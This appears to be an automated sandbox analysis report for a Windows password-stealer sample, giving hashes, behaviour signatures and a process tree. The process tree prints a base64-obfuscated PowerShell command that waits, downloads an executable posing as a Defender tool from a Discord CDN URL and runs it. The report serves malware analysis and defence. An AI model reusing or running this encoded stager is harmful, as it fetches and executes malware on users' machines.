Analysis
-
max time kernel
164s -
max time network
192s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
-
submitted
06/12/2022, 09:36
General
-
Target
SecuriteInfo.com.Win32.PWSX-gen.20328.23207.exe
-
Size
7KB
-
MD5
58bc4287f86224a260e71811f7cf43e3
-
SHA1
28df4da8b40c5404ae3e283bcd7559ca7ab944f9
-
SHA256
8459beda7a3d1091523b5bcd0c41eba53644156b52005013a98abd18a2042680
-
SHA512
c2c203c64e0e45e1c1ec436a844b041c5fd15a310f7e406d2f5069f237a64ef3f35bd69834f6aa5b9b739399257eea74452aae503742519314fd2e64cb403846
-
SSDEEP
96:+r/79GhL1bhycOqNYfxNYuXZ8k/hwssjD1TIoDiWpTPWw3d3ojE5rl:+P9GhL1bhycm5NYup8k/hwf0WpbWedd
Score
7/10
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.PWSX-gen.20328.23207.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.PWSX-gen.20328.23207.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAbgBlACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADcAMAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAA0ADkANAAxADAAMgAxADcANAAyADAANQAzADMAOAAyADAALwAxADAANAA5ADQAMQA3ADYANwA3ADYAOQA0ADgAMwA2ADgAMgA3AC8ARABlAGYAZQBuAGQAZQByAFMAYwByAGUAZQBlAG4ALgBlAHgAZQAnACwAIAA8ACMAZwBqAHgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB0AGMAeAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBmAHIAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAEsAUwBKAEQAUwBBAEsARABRAC4AZQB4AGUAJwApACkAPAAjAGwAZwB3ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGMAcABhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBkAGIAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAEsAUwBKAEQAUwBBAEsARABRAC4AZQB4AGUAJwApADwAIwBwAGsAaQAjAD4A"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
32KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
10.8MB